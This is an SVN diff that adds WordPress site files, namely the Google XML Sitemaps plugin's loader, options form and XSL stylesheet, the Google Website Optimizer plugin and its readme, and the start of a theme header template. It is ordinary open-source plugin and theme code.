+									<select id="sm_pr_posts" name="sm_pr_posts"><?php $this->sg->HtmlGetPriorityValues($this->sg->GetOption("pr_posts")); ?></select>
+									<?php _e('Posts (If auto calculation is disabled)', 'sitemap') ?>
+								</label>
+							</li>
+							<li>
+								<label for="sm_pr_posts_min">
+									<select id="sm_pr_posts_min" name="sm_pr_posts_min"><?php $this->sg->HtmlGetPriorityValues($this->sg->GetOption("pr_posts_min")); ?></select>
+									<?php _e('Minimum post priority (Even if auto calculation is enabled)', 'sitemap') ?>
+								</label>
+							</li>
+							<li>
+								<label for="sm_pr_pages">
+									<select id="sm_pr_pages" name="sm_pr_pages"><?php $this->sg->HtmlGetPriorityValues($this->sg->GetOption("pr_pages")); ?></select>
+									<?php _e('Static pages', 'sitemap'); ?>
+								</label>
+							</li>
+							<li>
+								<label for="sm_pr_cats">
+									<select id="sm_pr_cats" name="sm_pr_cats"><?php $this->sg->HtmlGetPriorityValues($this->sg->GetOption("pr_cats")); ?></select>
+									<?php _e('Categories', 'sitemap') ?>
+								</label>
+							</li>
+							<li>
+								<label for="sm_pr_arch">
+									<select id="sm_pr_arch" name="sm_pr_arch"><?php $this->sg->HtmlGetPriorityValues($this->sg->GetOption("pr_arch")); ?></select>
+									<?php _e('Archives', 'sitemap') ?>
+								</label>
+							</li>
+							<?php if($this->sg->IsTaxonomySupported()): ?>
+							<li>
+								<label for="sm_pr_tags">
+									<select id="sm_pr_tags" name="sm_pr_tags"><?php $this->sg->HtmlGetPriorityValues($this->sg->GetOption("pr_tags")); ?></select>
+									<?php _e('Tag pages', 'sitemap') ?>
+								</label>
+							</li>
+							<?php endif; ?>
+							<li>
+								<label for="sm_pr_auth">
+									<select id="sm_pr_auth" name="sm_pr_auth"><?php $this->sg->HtmlGetPriorityValues($this->sg->GetOption("pr_auth")); ?></select>
+									<?php _e('Author pages', 'sitemap') ?>
+								</label>
+							</li>
+						</ul>
+						
+					<?php $this->HtmlPrintBoxFooter(); ?>
+					
+					</div>
+					<div>
+						<p class="submit">
+							<?php wp_nonce_field('sitemap') ?>
+							<input type="submit" name="sm_update" value="<?php _e('Update options', 'sitemap'); ?>" />
+							<input type="submit" onclick='return confirm("Do you really want to reset your configuration?");' class="sm_warning" name="sm_reset_config" value="<?php _e('Reset options', 'sitemap'); ?>" />
+						</p>
+					</div>
+				
+				<?php if($this->mode == 27): ?>
+				</div>
+				</div>
+				<?php endif; ?>
+				</div>
+				<script type="text/javascript">if(typeof(sm_loadPages)=='function') addLoadEvent(sm_loadPages); </script>
+			</form>
+			<form action="https://www.paypal.com/cgi-bin/webscr" method="post" id="sm_donate_form">
+				<?php
+					$lc = array(
+						"en"=>array("cc"=>"USD","lc"=>"US"),
+						"en-GB"=>array("cc"=>"GBP","lc"=>"GB"),
+						"de"=>array("cc"=>"EUR","lc"=>"DE"),
+					);
+					$myLc = $lc["en"];
+					$wpl = get_bloginfo('language');
+					if(!empty($wpl)) {
+						if(array_key_exists($wpl,$lc)) $myLc = $lc[$wpl];
+						else {
+							$wpl = substr($wpl,0,2);
+							if(array_key_exists($wpl,$lc)) $myLc = $lc[$wpl];
+						}
+					}
+				?>
+				<input type="hidden" name="cmd" value="_xclick" />
+				<input type="hidden" name="business" value="<?php echo "donate" /* N O S P A M */ . "@" . "arnebra" . "chhold.de"; ?>" />
+				<input type="hidden" name="item_name" value="Sitemap Generator for WordPress. Please tell me if if you don't want to be listed on the donator list." />
+				<input type="hidden" name="no_shipping" value="1" />
+				<input type="hidden" name="return" value="<?php echo 'http://' . $_SERVER['HTTP_HOST'] . $this->sg->GetBackLink(); ?>&amp;sm_donated=true" />
+				<input type="hidden" name="item_number" value="0001" />
+				<input type="hidden" name="currency_code" value="<?php echo $myLc["cc"]; ?>" />
+				<input type="hidden" name="bn" value="PP-BuyNowBF" />
+				<input type="hidden" name="lc" value="<?php echo $myLc["lc"]; ?>" />
+				<input type="hidden" name="rm" value="2" />
+				<input type="hidden" name="on0" value="Your Website" />
+				<input type="hidden" name="os0" value="<?php echo get_bloginfo("home"); ?>"/>
+			</form>
+		</div>
+		<?php
+	}
+}
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/sitemap.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/sitemap.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/sitemap.php	(revision 44)
@@ -0,0 +1,246 @@
+<?php
+
+/*
+ $Id: sitemap.php 150611 2009-08-30 21:12:33Z arnee $
+
+ Google XML Sitemaps Generator for WordPress
+ ==============================================================================
+ 
+ This generator will create a sitemaps.org compliant sitemap of your WordPress blog.
+ Currently homepage, posts, static pages, categories, archives and author pages are supported.
+ 
+ The priority of a post depends on its comments. You can choose the way the priority
+ is calculated in the options screen.
+ 
+ Feel free to visit my website under www.arnebrachhold.de!
+
+ For aditional details like installation instructions, please check the readme.txt and documentation.txt files.
+ 
+ Have fun!
+   Arne
+
+
+ Info for WordPress:
+ ==============================================================================
+ Plugin Name: Google XML Sitemaps
+ Plugin URI: http://www.arnebrachhold.de/redir/sitemap-home/
+ Description: This plugin will generate a sitemaps.org compatible sitemap of your WordPress blog which is supported by Ask.com, Google, MSN Search and YAHOO. <a href="options-general.php?page=sitemap.php">Configuration Page</a>
+ Version: 3.1.6
+ Author: Arne Brachhold
+ Author URI: http://www.arnebrachhold.de/
+*/
+
+/**
+ * Loader class for the Google Sitemap Generator
+ *
+ * This class takes care of the sitemap plugin and tries to load the different parts as late as possible.
+ * On normal requests, only this small class is loaded. When the sitemap needs to be rebuild, the generator itself is loaded.
+ * The last stage is the user interface which is loaded when the administration page is requested.
+ */
+class GoogleSitemapGeneratorLoader {
+	/**
+	 * Enabled the sitemap plugin with registering all required hooks
+	 *
+	 * If the sm_command and sm_key GET params are given, the function will init the generator to rebuild the sitemap.
+	 */
+	function Enable() {
+		
+		//Register the sitemap creator to wordpress...
+		add_action('admin_menu', array('GoogleSitemapGeneratorLoader', 'RegisterAdminPage'));
+		
+		//Nice icon for Admin Menu (requires Ozh Admin Drop Down Plugin)
+		add_filter('ozh_adminmenu_icon', array('GoogleSitemapGeneratorLoader', 'RegisterAdminIcon'));
+				
+		//Additional links on the plugin page
+		add_filter('plugin_row_meta', array('GoogleSitemapGeneratorLoader', 'RegisterPluginLinks'),10,2);
+
+		//Existing posts was deleted
+		add_action('delete_post', array('GoogleSitemapGeneratorLoader', 'CallCheckForAutoBuild'),9999,1);
+			
+		//Existing post was published
+		add_action('publish_post', array('GoogleSitemapGeneratorLoader', 'CallCheckForAutoBuild'),9999,1);
+			
+		//Existing page was published
+		add_action('publish_page', array('GoogleSitemapGeneratorLoader', 'CallCheckForAutoBuild'),9999,1);
+			
+		//WP Cron hook
+		add_action('sm_build_cron', array('GoogleSitemapGeneratorLoader', 'CallBuildSitemap'),1,0);
+		
+		//Robots.txt request
+		add_action('do_robots', array('GoogleSitemapGeneratorLoader', 'CallDoRobots'),100,0);
+		
+		//Help topics for context sensitive help
+		add_filter('contextual_help_list', array('GoogleSitemapGeneratorLoader', 'CallHtmlShowHelpList'),9999,2);
+		
+		//Check if this is a BUILD-NOW request (key will be checked later)
+		if(!empty($_GET["sm_command"]) && !empty($_GET["sm_key"])) {
+			GoogleSitemapGeneratorLoader::CallCheckForManualBuild();
+		}
+	}
+
+	/**
+	 * Registers the plugin in the admin menu system
+	 */
+	function RegisterAdminPage() {
+		
+		if (function_exists('add_options_page')) {
+			add_options_page(__('XML-Sitemap Generator','sitemap'), __('XML-Sitemap','sitemap'), 10, 'sitemap.php', array('GoogleSitemapGeneratorLoader','CallHtmlShowOptionsPage'));
+		}
+	}
+	
+	function RegisterAdminIcon($hook) {
+		if ( $hook == 'sitemap.php' && function_exists('plugins_url')) {
+			return plugins_url('img/icon-arne.gif',GoogleSitemapGeneratorLoader::GetBaseName());
+		}
+		return $hook;
+	}
+	
+	function RegisterPluginLinks($links, $file) {
+		$base = GoogleSitemapGeneratorLoader::GetBaseName();
+		if ($file == $base) {
+			$links[] = '<a href="options-general.php?page=sitemap.php">' . __('Settings') . '</a>';
+			$links[] = '<a href="http://www.arnebrachhold.de/redir/sitemap-plist-faq/">' . __('FAQ') . '</a>';
+			$links[] = '<a href="http://www.arnebrachhold.de/redir/sitemap-plist-support/">' . __('Support') . '</a>';
+			$links[] = '<a href="http://www.arnebrachhold.de/redir/sitemap-plist-donate/">' . __('Donate') . '</a>';
+		}
+		return $links;
+	}
+	
+	/**
+	 * Invokes the HtmlShowOptionsPage method of the generator
+	 */
+	function CallHtmlShowOptionsPage() {
+		if(GoogleSitemapGeneratorLoader::LoadPlugin()) {
+			$gs = GoogleSitemapGenerator::GetInstance();
+			$gs->HtmlShowOptionsPage();
+		}
+	}
+	
+	/**
+	 * Invokes the CheckForAutoBuild method of the generator
+	 */
+	function CallCheckForAutoBuild($args) {
+		if(GoogleSitemapGeneratorLoader::LoadPlugin()) {
+			$gs = GoogleSitemapGenerator::GetInstance();
+			$gs->CheckForAutoBuild($args);
+		}
+	}
+	
+	/**
+	 * Invokes the BuildSitemap method of the generator
+	 */
+	function CallBuildSitemap() {
+		if(GoogleSitemapGeneratorLoader::LoadPlugin()) {
+			$gs = GoogleSitemapGenerator::GetInstance();
+			$gs->BuildSitemap();
+		}
+	}
+	
+	/**
+	 * Invokes the CheckForManualBuild method of the generator
+	 */
+	function CallCheckForManualBuild() {
+		if(GoogleSitemapGeneratorLoader::LoadPlugin()) {
+			$gs = GoogleSitemapGenerator::GetInstance();
+			$gs->CheckForManualBuild();
+		}
+	}
+	
+
+	function CallHtmlShowHelpList($filterVal,$screen) {
+		if($screen == "settings_page_sitemap") {
+			$links = array(
+				__('Plugin Homepage','sitemap')=>'http://www.arnebrachhold.de/redir/sitemap-help-home/',
+				__('Sitemap FAQ')=>'http://www.arnebrachhold.de/redir/sitemap-help-faq/'
+			);
+			
+			$filterVal["settings_page_sitemap"] = '';
+			
+			$i=0;
+			foreach($links AS $text=>$url) {
+				$filterVal["settings_page_sitemap"].='<a href="' . $url . '">' . $text . '</a>' . ($i < (count($links)-1)?'<br />':'') ;
+				$i++;
+			}
+		}
+		return $filterVal;
+	}
+	
+	function CallDoRobots() {
+		if(GoogleSitemapGeneratorLoader::LoadPlugin()) {
+			$gs = GoogleSitemapGenerator::GetInstance();
+			$gs->DoRobots();
+		}
+	}
+	
+	/**
+	 * Loads the actual generator class and tries to raise the memory and time limits if not already done by WP
+	 *
+	 * @return boolean true if run successfully
+	 */
+	function LoadPlugin() {
+		
+		$mem = abs(intval(@ini_get('memory_limit')));
+		if($mem && $mem < 32) {
+			@ini_set('memory_limit', '32M');
+		}
+		
+		$time = abs(intval(@ini_get("max_execution_time")));
+		if($time != 0 && $time < 120) {
+			@set_time_limit(120);
+		}
+		
+		if(!class_exists("GoogleSitemapGenerator")) {
+			
+			$path = trailingslashit(dirname(__FILE__));
+			
+			if(!file_exists( $path . 'sitemap-core.php')) return false;
+			require_once($path. 'sitemap-core.php');
+		}
+
+		GoogleSitemapGenerator::Enable();
+		return true;
+	}
+	
+	/**
+	 * Returns the plugin basename of the plugin (using __FILE__)
+	 *
+	 * @return string The plugin basename, "sitemap" for example
+	 */
+	function GetBaseName() {
+		return plugin_basename(__FILE__);
+	}
+	
+	/**
+	 * Returns the name of this loader script, using __FILE__
+	 *
+	 * @return string The __FILE__ value of this loader script
+	 */
+	function GetPluginFile() {
+		return __FILE__;
+	}
+	
+	/**
+	 * Returns the plugin version
+	 *
+	 * Uses the WP API to get the meta data from the top of this file (comment)
+	 *
+	 * @return string The version like 3.1.1
+	 */
+	function GetVersion() {
+		if(!function_exists('get_plugin_data')) {
+			if(file_exists(ABSPATH . 'wp-admin/includes/plugin.php')) require_once(ABSPATH . 'wp-admin/includes/plugin.php'); //2.3+
+			else if(file_exists(ABSPATH . 'wp-admin/admin-functions.php')) require_once(ABSPATH . 'wp-admin/admin-functions.php'); //2.1
+			else return "0.ERROR";
+		}
+		$data = get_plugin_data(__FILE__);
+		return $data['Version'];
+	}
+	
+
+}
+
+//Enable the plugin for the init hook, but only if WP is loaded. Calling this php file directly will do nothing.
+if(defined('ABSPATH') && defined('WPINC')) {
+	add_action("init",array("GoogleSitemapGeneratorLoader","Enable"),1000,0);
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/sitemap.xsl
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/sitemap.xsl	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/sitemap.xsl	(revision 44)
@@ -0,0 +1,110 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<xsl:stylesheet version="2.0" 
+                xmlns:html="http://www.w3.org/TR/REC-html40"
+                xmlns:sitemap="http://www.sitemaps.org/schemas/sitemap/0.9"
+                xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
+	<xsl:output method="html" version="1.0" encoding="UTF-8" indent="yes"/>
+	<xsl:template match="/">
+		<html xmlns="http://www.w3.org/1999/xhtml">
+			<head>
+				<title>XML Sitemap</title>
+				<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+				<style type="text/css">
+					body {
+						font-family:"Lucida Grande","Lucida Sans Unicode",Tahoma,Verdana;
+						font-size:13px;
+					}
+					
+					#intro {
+						background-color:#CFEBF7;
+						border:1px #2580B2 solid;
+						padding:5px 13px 5px 13px;
+						margin:10px;
+					}
+					
+					#intro p {
+						line-height:	16.8667px;
+					}
+					
+					td {
+						font-size:11px;
+					}
+					
+					th {
+						text-align:left;
+						padding-right:30px;
+						font-size:11px;
+					}
+					
+					tr.high {
+						background-color:whitesmoke;
+					}
+					
+					#footer {
+						padding:2px;
+						margin:10px;
+						font-size:8pt;
+						color:gray;
+					}
+					
+					#footer a {
+						color:gray;
+					}
+					
+					a {
+						color:black;
+					}
+				</style>
+			</head>
+			<body>
+				<h1>XML Sitemap</h1>
+				<div id="intro">
+					<p>
+						This is a XML Sitemap which is supposed to be processed by search engines like <a href="http://www.google.com">Google</a>, <a href="http://search.msn.com">MSN Search</a> and <a href="http://www.yahoo.com">YAHOO</a>.<br />
+						It was generated using the Blogging-Software <a href="http://wordpress.org/">WordPress</a> and the <a href="http://www.arnebrachhold.de/redir/sitemap-home/" title="Google Sitemap Generator Plugin for WordPress">Google Sitemap Generator Plugin</a> by <a href="http://www.arnebrachhold.de/">Arne Brachhold</a>.<br />
+						You can find more information about XML sitemaps on <a href="http://sitemaps.org">sitemaps.org</a> and Google's <a href="http://code.google.com/sm_thirdparty.html">list of sitemap programs</a>.
+					</p>
+				</div>
+				<div id="content">
+					<table cellpadding="5">
+						<tr style="border-bottom:1px black solid;">
+							<th>URL</th>
+							<th>Priority</th>
+							<th>Change Frequency</th>
+							<th>LastChange</th>
+						</tr>
+						<xsl:variable name="lower" select="'abcdefghijklmnopqrstuvwxyz'"/>
+						<xsl:variable name="upper" select="'ABCDEFGHIJKLMNOPQRSTUVWXYZ'"/>
+						<xsl:for-each select="sitemap:urlset/sitemap:url">
+							<tr>
+								<xsl:if test="position() mod 2 != 1">
+									<xsl:attribute  name="class">high</xsl:attribute>
+								</xsl:if>
+								<td>
+									<xsl:variable name="itemURL">
+										<xsl:value-of select="sitemap:loc"/>
+									</xsl:variable>
+									<a href="{$itemURL}">
+										<xsl:value-of select="sitemap:loc"/>
+									</a>
+								</td>
+								<td>
+									<xsl:value-of select="concat(sitemap:priority*100,'%')"/>
+								</td>
+								<td>
+									<xsl:value-of select="concat(translate(substring(sitemap:changefreq, 1, 1),concat($lower, $upper),concat($upper, $lower)),substring(sitemap:changefreq, 2))"/>
+								</td>
+								<td>
+									<xsl:value-of select="concat(substring(sitemap:lastmod,0,11),concat(' ', substring(sitemap:lastmod,12,5)))"/>
+								</td>
+							</tr>
+						</xsl:for-each>
+					</table>
+				</div>
+				<div id="footer">
+					Generated with <a href="http://www.arnebrachhold.de/redir/sitemap-home/" title="Google Sitemap Generator Plugin for WordPress">Google Sitemap Generator Plugin for WordPress</a> by <a href="http://www.arnebrachhold.de/">Arne Brachhold</a>. This XSLT template is released under GPL.
+				</div>
+			</body>
+		</html>
+	</xsl:template>
+</xsl:stylesheet>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-website-optimizer-for-wordpress/gwo4wp.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-website-optimizer-for-wordpress/gwo4wp.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-website-optimizer-for-wordpress/gwo4wp.php	(revision 44)
@@ -0,0 +1,195 @@
+<?php 
+
+/*
+Plugin Name: Google Website Optimizer for WordPress
+Plugin URI: http://www.masteringlandingpages.com/gwo4wp
+Description: Test your WordPress Landing Pages with Google Website Optimizer for WordPress 
+Version: 1.2
+Author: Filippo Toso
+Author URI: http://www.masteringlandingpages.com/
+*/
+
+/*  Copyright 2009 Filippo Toso (email : info@masteringlandingpages.com)
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program; if not, write to the Free Software
+    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+*/
+
+define('GWO_META_NAME', 'gwo4wp');
+define('GWO_CONTROL_IN_HEAD', true);
+
+class GW04WP {
+
+	var $meta    = 'gwo4wp';
+	var $control_in_head   = true;
+	var $control_script    = '';
+	var $tracking_script   = '';
+	var $conversion_script = ''; 
+
+	function GW04WP($meta = 'gwo4wp', $control_in_head = true) {
+		$this->__construct($meta, $control_in_head);
+	}
+	
+	function __construct($meta = 'gwo4wp', $control_in_head = true) {
+		$this->meta = $meta;
+		$this->control_in_head = $control_in_head;
+		add_action('plugins_loaded', array(&$this, 'action_plugins_loaded'));
+	}
+
+	function action_plugins_loaded() {
+		if (is_admin()) {
+			require_once(ABSPATH . 'wp-admin/includes/template.php'); // Needed for add_meta_box()
+			add_meta_box('gwo_section', 'Google Website Optimizer', array(&$this, 'meta_box_post'), 'post', 'normal', 'high');
+			add_meta_box('gwo_section', 'Google Website Optimizer', array(&$this, 'meta_box_post'), 'page', 'normal', 'high');
+			add_action('save_post', array(&$this, 'action_save_post'), 1, 2);
+		} else {
+			add_action('template_redirect',  array(&$this, 'action_template_redirect'));
+		}
+	}
+	
+	function action_wp_head() {
+		echo('<meta name="generator" content="Google Website Optimizer for WordPress - http://www.masteringlandingpages.com/gwo4wp" />');
+		if ($this->control_in_head) {
+			echo($this->control_script);
+		}
+	}
+	
+	function action_template_redirect() {
+
+		if (is_single() || is_page()) {
+			global $post;
+			$options = get_post_meta($post->ID, $this->meta, true);
+			if (isset($options['enabled']) && $options['enabled']) {
+
+				add_action('wp_head',  array(&$this, 'action_wp_head'));
+
+				$this->control_script    = isset($options['control_script'])    ? trim($options['control_script'])    : '';
+				$this->tracking_script   = isset($options['tracking_script'])   ? trim($options['tracking_script'])   : '';
+				$this->conversion_script = isset($options['conversion_script']) ? trim($options['conversion_script']) : '';
+
+				ob_start(array(&$this, 'ob_start_callback'));
+
+			}		
+		}
+
+	}
+	
+	function ob_start_callback($content) {
+		if (!$this->control_in_head) {
+			$html = $this->control_script;
+			if ($html != '') {
+				$content = preg_replace('#<body[^>]*>#si', "$0\r\n{$html}\r\n", $content);
+			}
+		}
+		$html = trim($this->tracking_script . "\r\n" . $this->conversion_script);
+		if ($html != '') {
+			$content = preg_replace('#</body[^>]*>#si', "\r\n{$html}\r\n$0", $content);
+		}
+		return $content;
+	}
+	
+	function action_save_post($post_id, $post) {
+		if ($post->post_type != 'revision') {
+			$options = array();
+			$options['enabled']           = isset($_POST['enable_gwo']) && ($_POST['enable_gwo'] == '1');
+			$options['control_script']    = isset($_POST['control_script'])    ? trim($_POST['control_script'])    : '';
+			$options['tracking_script']   = isset($_POST['tracking_script'])   ? trim($_POST['tracking_script'])   : '';
+			$options['conversion_script'] = isset($_POST['conversion_script']) ? trim($_POST['conversion_script']) : '';
+			if (!update_post_meta($post->ID, $this->meta, $options)) {
+				add_post_meta($post->ID, $this->meta, $options); 
+			}
+		} 
+	}
+	
+	function meta_box_post() {
+	
+		global $post;
+		$options = get_post_meta($post->ID, $this->meta, true);
+
+		if (is_array($options)) {
+			$options['enabled']           = isset($options['enabled'])           ?  (bool)$options['enabled']          : false;	 
+			$options['control_script']    = isset($options['control_script'])    ? trim($options['control_script'])    : '';	
+			$options['tracking_script']	  = isset($options['tracking_script'])   ? trim($options['tracking_script'])   : '';
+			$options['conversion_script'] = isset($options['conversion_script']) ? trim($options['conversion_script']) : '';
+		} else {
+			$options['enabled'] = false;
+			$options['control_script']    = '';		
+			$options['tracking_script']	  = '';	
+			$options['conversion_script'] = '';
+		}	
+		
+		$url = get_bloginfo('wpurl') . '/' .  PLUGINDIR . '/' . dirname(plugin_basename(__FILE__));
+		
+?>
+<table border="0" width="100%">
+  <tr>
+    <td colspan="2">To use this plugin you must register a <a href="http://www.google.com/websiteoptimizer" target="_blank">Google Website Optimizer</a> account. It's free.</td>
+  </tr>
+  <tr>
+    <td colspan="2">&nbsp;</td>
+  </tr>
+  <tr>
+    <td colspan="2"><input type="checkbox" name="enable_gwo" value="1" <?php if ($options['enabled']) { echo('checked="checked"'); } ?> /> <label for="enable_gwo">Enable the Google Website Optimizer support for this page/post.</label></td>
+  </tr>
+  <tr>
+    <td colspan="2">&nbsp;</td>
+  </tr>
+  <tr>
+    <td>&nbsp;</td>
+    <td><label for="control_script" style="color: #CC6600; font-weight: bold;">Control Script</label></td>
+  </tr>
+  <tr>
+    <td width="35" valign="top"><img src="<?php echo($url); ?>/control_script.gif" align="Control Script" width="30" height="37" /></td>
+    <td><textarea rows="2" cols="40" name="control_script" tabindex="5" id="control_script" style="width: 98%"><?php echo(htmlentities($options['control_script'])); ?></textarea>
+      <br/>
+      <span style="font-size: 11px">Insert here the <strong style="color: #CC6600;">Control Script</strong> provided by the Google Website Optimizer. <br/>
+      You must fill this field only if this page/post is your <strong>Original page</strong>.</span> </td>
+  </tr>
+  <tr>
+    <td colspan="2">&nbsp;</td>
+  </tr>
+  <tr>
+    <td>&nbsp;</td>
+    <td><label for="tracking_script" style="color: #006600; font-weight: bold;">Tracking Script</label></td>
+  </tr>
+  <tr>
+    <td width="35" valign="top"><img src="<?php echo($url); ?>/tracking_script.gif" align="Tracking Script" width="30" height="37"  /></td>
+    <td><textarea rows="2" cols="40" name="tracking_script" tabindex="5" id="tracking_script" style="width: 98%"><?php echo(htmlentities($options['tracking_script'])); ?></textarea>
+      <br/>
+      <span style="font-size: 11px">Insert here the <strong style="color: #006600;">Tracking Script</strong> provided by the Google Website Optimizer. <br/>
+      You must fill this field only if this page/post is your <strong>Original page</strong> or a <strong>Variation page</strong>.</span> </td>
+  </tr>
+  <tr>
+    <td colspan="2">&nbsp;</td>
+  </tr>
+  <tr>
+    <td>&nbsp;</td>
+    <td><label for="conversion_script" style="color: #660000; font-weight: bold;">Conversion Script</label></td>
+  </tr>
+  <tr>
+    <td width="35" valign="top"><img src="<?php echo($url); ?>/conversion_script.gif" align="Conversion Script" width="30" height="37"  /></td>
+    <td><textarea rows="2" cols="40" name="conversion_script" tabindex="5" id="conversion_script" style="width: 98%"><?php echo(htmlentities($options['conversion_script'])); ?></textarea>
+      <br/>
+      <span style="font-size: 11px">Insert here the <strong style="color: #660000;">Conversion Script</strong> provided by the Google Website Optimizer. <br/>
+      You must fill this field only if this page/post is your <strong>Conversion  page</strong>.</span> </td>
+  </tr>
+</table>
+<?php		
+	}
+
+}
+
+$gwo = new GW04WP(GWO_META_NAME, GWO_CONTROL_IN_HEAD);
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-website-optimizer-for-wordpress/readme.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-website-optimizer-for-wordpress/readme.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-website-optimizer-for-wordpress/readme.txt	(revision 44)
@@ -0,0 +1,33 @@
+=== Google Website Optimizer for WordPress ===
+Contributors: Filippo Toso
+Donate link: http://www.masteringlandingpages.com/
+Tags: google website optimizer, landing page optimization
+Requires at least: 2.7.0
+Tested up to: 2.7.1
+Stable tag: 1.2
+
+Optimize your landing pages using the Google Website Optimizer
+
+== Description ==
+
+This simple plugin lets you optimize your landing pages (as posts or pages) using the Google Website Optimizer without needing to edit the HTML code of the theme.
+
+== Installation ==
+
+The installation is straight forward:
+
+1. Upload the `gwo4wp` folder to the `/wp-content/plugins/` directory
+2. Activate the plugin through the 'Plugins' menu in WordPress
+3. Create the landing pages and the conversion page
+4. Create the experiment in the Google Website Optimizer
+5. Use the textareas added in the page or post edit form to embed the control, tracking and conversion code provided by the Google Website Optimizer
+
+== Frequently Asked Questions ==
+
+= How much does it cost Google Website Optimizer? =
+
+The Google Website Optimizer is a free tool provided by Google. You only need a Google AdWords account, but you can use the Optimizer to test Landing Pages other than those create for your AdWords campaigns.
+
+== Screenshots ==
+
+1. The user interface added to the pages/posts edit form.
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/header.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/header.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/header.php	(revision 44)
@@ -0,0 +1,908 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
+<head profile="http://gmpg.org/xfn/11">
+<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
+<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
+<link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" />
+<?php global $options; 
+foreach ($options as $value) { if (get_option( $value['id'] ) === FALSE) { $$value['id'] = $value['std']; } else { $$value['id'] = get_option( $value['id'] ); } } ?>
+<?php include (TEMPLATEPATH . '/functions/bfa_meta_tags.php'); ?>
+<?php if ($bfa_ata_favicon_file != "") { ?><link rel="shortcut icon" href="<?php echo get_bloginfo('template_directory'); ?>/images/favicon/<?php echo $bfa_ata_favicon_file; ?>" /><?php } ?>
+<link rel="alternate" type="application/rss+xml" title="<?php bloginfo('name'); ?> RSS Feed" href="<?php bloginfo('rss2_url'); ?>" />
+<link rel="alternate" type="application/atom+xml" title="<?php bloginfo('name'); ?> Atom Feed" href="<?php bloginfo('atom_url'); ?>" />
+<link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />
+<script type="text/javascript" src="<?php echo get_bloginfo('template_directory'); ?>/js/ruthsarian_utilities.js"></script>
+<script type="text/javascript">
+	<!--
+	if ( ( typeof( sfHover ) ).toLowerCase() != 'undefined' ) { event_attach( 'onload' , function () { 
+	<?php if (strpos($bfa_ata_configure_header,'pages')!==FALSE) { ?>sfHover( 'rmenu2' );<?php } ?>
+	<?php if (strpos($bfa_ata_configure_header,'cats')!==FALSE) { ?>sfHover( 'rmenu' );<?php } ?>	
+	if (document.getElementById("recent-comments") != null) { sfHover( 'recent-comments' ); }
+	if (document.getElementById("bfa-recent-comments") != null) {sfHover( 'bfa-recent-comments' ); }
+		} ); }
+	//-->
+</script>
+<script type="text/javascript" src="<?php echo get_bloginfo('template_directory'); ?>/js/jquery-1.2.6.min.js"></script>
+<script type="text/javascript">
+<!--
+var $bfa = jQuery.noConflict();
+$bfa(document).ready(function(){    
+	// IE6 max-width for images 
+	if ($bfa.browser.msie && /MSIE 6\.0/i.test(window.navigator.userAgent) && !/MSIE 7\.0/i.test(window.navigator.userAgent)) {
+	var centerwidth = $bfa("td#middle").width(); 
+	// without caption
+	$bfa(".post img").each(function() { 
+		var maxwidth = centerwidth - 10 + 'px';
+		var imgwidth = $bfa(this).width(); 
+		var imgheight = $bfa(this).height(); 
+		var newimgheight = (centerwidth / imgwidth * imgheight) + 'px';	
+		if (imgwidth > centerwidth) { 
+			$bfa(this).css({width: maxwidth}); 
+			$bfa(this).css({height: newimgheight}); 
+		}
+	});
+	// with caption
+	$bfa("div.wp-caption").each(function() { 
+		var captionwidth = $bfa(this).width(); 
+		var maxcaptionwidth = centerwidth + 'px';
+		var captionheight = $bfa(this).height();
+		var captionimgwidth =  $bfa("div.wp-caption img").width();
+		var captionimgheight =  $bfa("div.wp-caption img").height();
+		if (captionwidth > centerwidth) { 
+			$bfa(this).css({width: maxcaptionwidth}); 
+			var newcaptionheight = (centerwidth / captionwidth * captionheight) + 'px';
+			var newcaptionimgheight = (centerwidth / captionimgwidth * captionimgheight) + 'px';
+			$bfa(this).css({height: newcaptionheight}); 
+			$bfa("div.wp-caption img").css({height: newcaptionimgheight}); 
+			}
+	});
+	}
+	<?php if ($bfa_ata_table_hover_rows == "Yes") { ?>
+	$bfa(".post table tr").mouseover(function() {$bfa(this).addClass("over");}).mouseout(function() {$bfa(this).removeClass("over");});
+	<?php } else { ?>
+	$bfa(".post table.hover tr").mouseover(function() {$bfa(this).addClass("over");}).mouseout(function() {$bfa(this).removeClass("over");});	
+	<?php } ?>
+	<?php if ($bfa_ata_table_zebra_stripes == "Yes") { ?>
+	$bfa(".post table tr:even").addClass("alt");
+	<?php } else { ?>
+	$bfa(".post table.zebra tr:even").addClass("alt");	
